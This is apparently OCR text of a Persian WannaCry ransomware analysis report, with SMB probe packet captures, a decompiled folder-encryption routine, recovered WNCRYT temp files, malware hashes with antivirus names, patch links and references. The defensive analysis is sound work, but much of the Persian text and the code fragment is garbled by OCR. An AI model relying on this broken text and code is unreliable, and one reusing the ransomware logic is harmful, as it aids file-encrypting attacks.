SMB 142 Negotiate Protocol Request

SMB 185 Negotiate Protocol Response

SMB 157 Session Setup AndX Request, User: .\

SMB 183 session Setup AndX Response

SMB 127 Tree Connect AndX Request, Path: \\11.12.13.24\IPC}

SMB 93 Tree Connect AndX Response, Error: Non specific error code

SMB Pi 132 PeekNamedPipe Request, FID: 0x0000
93 Trans Response, Error: TID invalid

60 445 > 1074 [ACK] Seq=339 Ack=344 win=63986 Len=0
60 445 > 1074 [RST, ACK] 5eq=339 Ack=344 Win=0 Len=0

60 1075 > 445 [ACK] Seq=1 Ack=1 Win=64240 Len=0

SMB 191 Negotiate Protocol Request

SMB 187 Negotiate Protocol Response

SMB 194 session Setup AndX Request, User: anonymous

SMB 267 Session Setup AndX Response

SMB 150 Tree Connect AndX Request, Path: \\192.168.56.20\IPC$

SMB 114 Tree Connect AndX Response

SMB 136 Trans2 Request, SESSION_SETUP

SMB 93 Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED

TCP 60 445 > 1075 [ACK] Seq=446 Ack=457 wWin=63922 Len=0
60 445 > 1075 [RST, ACK] Seq=446 Ack=457 Win=0 Len=0

HPlel A SGal,S digal 1P S
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ol | (5 3L olSel
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a0 298 (RLiSHey 345 4 5L5 (g ) SIZL o2l bawgS 62 s,
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1|void __cdecl sub_180805488(WannaCtx *wannaCtx)
2K
3| LPWSTR pszPath; // [esp+Ch] [ebp-288h]E1
4 __int16 w2; // [esp+212h] [ebp-2h]@E1
5
1]
¥
8

LOWORD(pszPath) = word_10068D918;

memset(&pszPath + 2, 8, 8x284u);

u? = B3

9| SHGetFolderPathW{@, CSIDL_DESKTOP, @, @, &pszPathj);

18| if ({ wcslen{&pszPath) )}

11 ProcessDir{wannaCtx, &pszPath, 1);

12| LOWORD(pszPath) = B8;

13| SHGetFolderPathW(®, CSIDL_PERSONAL, 8, 8, &pszPath);

14| if ( wcslen{&pszPath) )

15 ProcessDir{uannaCt=, &pszPath, 1);

16 ProcessDriues(BSIDL_CDMMUH_DESHTUPDIHECTDH?, callhack_PrucessDir, wannaCtx);
17| ProcessDrives(CSIDL_COMMON_DOCUHENTS, callback_ProcessDir, wannalbtz);

Desktop digy 5> Lo Jald (aygigy (1Y JSib

4513550y wlilac plsl 51 Gug g 0345 plodl ;50 (gl disgy ;3 slo bl Jogas > Lwgig) AiT)d (lidimo ¢yl diaS 4 Lol
239150 YUyl JaB (513,550 slylial Gayb 1 J2d (L)L Jlaim! 939y 92 45 Cauml (4232 -3940 B> haiid Lol a6

@) 544 WNCRYT Ch\Users\user\AppData\Local\ Ternp'. 4/22/201419:06 985 bytes  Excellent Mo overwritten clusters detected.
O S5 WNCRYT ChUsersh\user\AppDatatLocal\ Temph 4/22/201415:06 287 bytes  Excellent Mo overwritten clusters detected.
) 91WNCRYT ChUsers\user\AppDatatLocal\Temp', 472272014 19:06 2KB  Excellent Mo overwritten clusters detected.
O 92WNCRYT Ch\Usersh\user\AppDatatLocal\Temp', 472272014 19:06 2KB  Excellent Mo overwritten clusters detected.
@) 346.WNCRYT Ch\Users\userAppDatat\Local\ Temp', 4/22/201419:06 417 bytes  Excellent Mo overwritten clusters detected.
) 93.WNCRYT Ch\Users\user\AppDatatLocal\ Temp', 472272014 19:06 1KB  Excellent Mo overwritten clusters detected.
@ 4T WNCRYT ChUsers\user\AppData\Local\Temp', 4/22/2014 19:06 986 bytes  Excellent Mo overwritten clusters detected.
) S48 WNCRYT Ch\Users\user\AppDatatLocal\Temp', 472272014 15:06 279 bytes  Excellent Mo overwritten clusters detected.
) 94 WNCRYT Ch\Usersh\user\AppDatatLocal\Temph, 472272014 19:06 1KB  Excellent Mo overwritten clusters detected,
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Name

pics_read_only

Attributes
Change file attributes for

logo.-jpg
Ouner: srsrers]

[x] ead only
[x] rchive
[x] didden
[ 1 ystem
[ '] ompressed

E:\pics_read_only\logo.jpg

lgs ks (cloJald Bis pac 19 JSb

Read-only *
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o oslaiwl (ygio L Google Translate Juwgi 634 daz)s (yio Ll (liao 3)lgo (solad )3 WA 8315 Ginled yj Jod=z 5>
-l 833 10y3 151 iy « WanNnaCry Sz b ascbl )5

Language Diff, Total Identical
Bulganan 4 200 9862%
Chinese (Simpiified) - - N/A
Chinese (Traditional) - - NA
Croatian 0 100%
Czech 5 244 97.95%
Danish 2 305 99.34%
Dutch 1 299 99.67%
English

Filipino 0 100%
Finnish 0 100%
French 0 100%
German 1 307 99.67%
Greek 1 317 99.68%
Indonesian 0 100%
Ialian 0 100%
Japanese 6 905 99.34%
Korean 4 218 98.17%
Latvian 9 275 96.73%
Norwegian 3 201 9897%
Polish 2 247 99.19%
Portuguese 4 302 98.68%
Romanian 0 100%
Russian 0 100%
Slovak 2 249 99.20%
Spanish 0 100%
Swedish 0 100%
Turkish 1 227 99.56%
Vietnamese 0 - 100%
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https://newsroom.shabakeh.net/18568/wannacry-ransomware-decryption-tool-released.html
https://newsroom.shabakeh.net/18568/wannacry-ransomware-decryption-tool-released.html
https://newsroom.shabakeh.net/18568/wannacry-ransomware-decryption-tool-released.html
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Windows Server 2003 SP2 x64:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=6e52528b-7754-
49ba-b39e-2a2a2b7c8c3a

Windows Server 2003 SP2 x86:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=fdbodf5f-8994-
4e43-a37b-82544aleff68

Windows XP SP2 x64:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=a679cafc-d8da-
4c2a-9709-17a6e6a93f4f

Windows XP SP3 x86:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=9e189800-f354-
4dc8-8170-7bd0ad7ca@9a

Windows XP Embedded SP3 x86:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=d4d15d30-e775-
4f6f-b838-d3caca®5a5e9

Windows 8 x86:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=ec4f955a-2fe7-
45e6-bdel-1de91cbe874f

Windows 8 x64:
http://catalog.update.microsoft.com/v7/site/ScopedViewInline.aspx?updateid=22699699-94c3-
4677-99e5-38cb4fb66401
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https://au.news.yahoo.com/a/35575621/it-is-ridiculous-north-korea-furious-over-claims-its-behind-wannacry-global-hack-attack/
https://au.news.yahoo.com/a/35575621/it-is-ridiculous-north-korea-furious-over-claims-its-behind-wannacry-global-hack-attack/
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il (plwbis Jol6 »yepb b ESET 9 Bitdefender .McAfee L_;lm)l}él.xgm buwgs u‘h)ljf o2l ) 03 )y (g digas
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MD5 jLopo)s
McAfee Bitdefender ESET
) ) Win32/Exploit. CVE-2017-
db349b97¢37d22f5ea1d1841e3c89eb4 Ransom-O Trojan.GenericKD.5054801 0147 A
. . Win32/Filecoder.WannaCry
84c82835a5d21bbcf75a61706d8ab549 Ransom-O Trojan.GenericKD.5057860 ptorD
. . Win32/Filecoder.WannaCry
7bf2b57f2a205768755c07f238fb32cc Ransom-0O Trojan.GenericKD.5057856 ptorD
a variant of
f3571e1fccalOc4ealsfc44d15a17f8b36 Ransom-0 Trojan.GenerickD.5057874 | Win32/Filecoder.WannaCry
ptor.D
) ) Win32/Filecoder.WannaCry
f529f4556a5126bba499¢c26d67892240 RDN/Ransom Trojan.GenericKD.5057875 torB
ptor.
Generic.Ransom.WCryG.1TA | Win32/Filecoder.WannaCr
8dd63adb68ef053e044a5a2f46e0d2cd RDN/Ransom ' y In32/F y
E2DB5E ptor.B
867271664fbd60aa6944b9672bcabbbd Ransom- Trojan.Ransom.WannaCryp | Win32/Filecoder.WannaCry
WannaCry!86721E64FFBD tor.A ptor.D
Ransom- ) ) Win32/Filecoder.WannaCry
509c41ec97bb81b0567b059aa2f50fe8 Trojan.GenerickD.5057849
WannaCry!509C41EC97BB ptor.D
) ) Win32/Filecoder.WannaCry
7bf2b57f2a205768755c07f238fb32cc Ransom-0 Trojan.GenerickD.5057856 torD
ptor.
) ) Win32/Filecoder.WannaCry
4fef5e34143e646dbf9907c4374276f5 Ransom-0 Trojan.GenerickD.5057554 torD
ptor.
a variant of
€372d07207b4da75b3434584cd9f3450 RDN/Generic.grp Trojan.GenericKD.5057873 | Win32/Filecoder.WannaCry
ptor.B
a variant of
59815ca85fa772753ca37fa0399c668¢ RDN/Ransom Trojan.GenericKD.5057852 | Win32/Filecoder.WannaCry
ptor.B
a variant of
cf1416074cd7791ab80a18f9e7e219d9 RDN/Ransom Trojan.GenericKD.5057871 | Win32/Filecoder.WannaCry
ptor.B
. a variant of
Trojan.Ransom.WannaCryp . )
5¢7fb0927db37372da25f270708103a2 RDN/Ransom tor.D Win32/Filecoder.WannaCry
‘ ptor.D
. ) ) a variant of
b9b3965d1b218c63cd317ac33edch942 RDN/Generic BackDoor Trojan.GenerickD.4858739 )
Generik.BJFEKVI
) ) ) a variant of
808182340fb1b0b0b301c998e855a7c8 RDN/Generic BackDoor Trojan.GenerickD.5057858 )
Generik HSNAWJY
) ) Win32/Filecoder.WannaCry
b6ded2b8fe83be35341936e34aa433e5 RDN/Ransom Trojan.GenericKD.5057868 torB
ptor.
a variant of
abcb7d4353abee5083ddd8057c7cd1ff RDN/Ransom Trojan.GenericKD.5057864 | Win32/Filecoder.WannaCry
ptor.B
. a variant of
) Generic.Ransom.WannaCry A )
3bc855bfadfea’71a445080ba72b26¢c1c RDN/Generic BackDoor Win32/Filecoder.WannaCry
ptor.CB9EEOOD
ptor.D
a variant of
b27f095f305cf940ba4e85f3ch848819 RDN/Ransom Trojan.GenericKD.5057866 | Win32/Filecoder.WannaCry
ptor.B
a variant of
b0ad5902366f860f85b892867e5b1e87 RDN/Ransom Trojan.GenericKD.5057865 | Win32/Filecoder.WannaCry
ptor.B
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https://community.sophos.com/kb/en-us/126733
https://kc.mcafee.com/corporate/index?page=content&i
d=KB89335&elqTrackld=73f813d377a04621aef351706e
€996c3&elq=bdd4226ca24a4d6f9053610f67cc50e7&elq
aid=7261&elgat=1&elgCampaignld=4056
https://newsroom.shabakeh.net/18467/nsa-swift-
banking-hacking-tools.html
https://newsroom.shabakeh.net/18416/microsoft-
security-update-for-mar-2017.html
https://www.bleepingcomputer.com/news/security/wan
a-decryptOr-ransomware-using-nsa-exploit-leaked-by-
shadow-brokers-is-on-a-rampage/
https://securelist.com/blog/incidents/78351/wannacry-
ransomware-used-in-widespread-attacks-all-over-the-
world/
https://www.nytimes.com/interactive/2017/05/12/world
/europe/wannacry-ransomware-map.html?_r=1
https://blogs.technet.microsoft.com/msrc/2017/05/12/c
ustomer-guidance-for-wannacrypt-attacks/
https://www.bleepingcomputer.com/news/security/wan
a-decryptor-WannaCry-technical-nose-dive
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https://blog.malwarebytes.com/cybercrime/2017/05
/wanacryptOr-ransomware-hits-it-big-just-before-the-
weekend
https://blog.avast.com/ransomware-that-infected-
telefonica-and-nhs-hospitals-is-spreading-
aggressively-with-over-50000-attacks-so-far-today
https://securingtomorrow.mcafee.com/executive-
perspectives/wannacry-old-worms-new/
https://securingtomorrow.mcafee.com/executive-
perspectives/analysis-wannacry-ransomware-
outbreak/

https://www.fireeye.com/blog/threat-
research/2017/05/wannacry-malware-profile.html
https://newsroom.shabakeh.net/18601/wannacry-
ransom-note-suggests-chinese-link.html
https://newsroom.shabakeh.net/18606/wannacry-
errors-enable-file-recovery.html
https://au.news.yahoo.com/a/35575621/it-is-
ridiculous-north-korea-furious-over-claims-its-behind-
wannacry-global-hack-attack
https://newsroom.shabakeh.net/18587/north-korea-
denies-involvement-in-wannacry-ransomware-
attack.html
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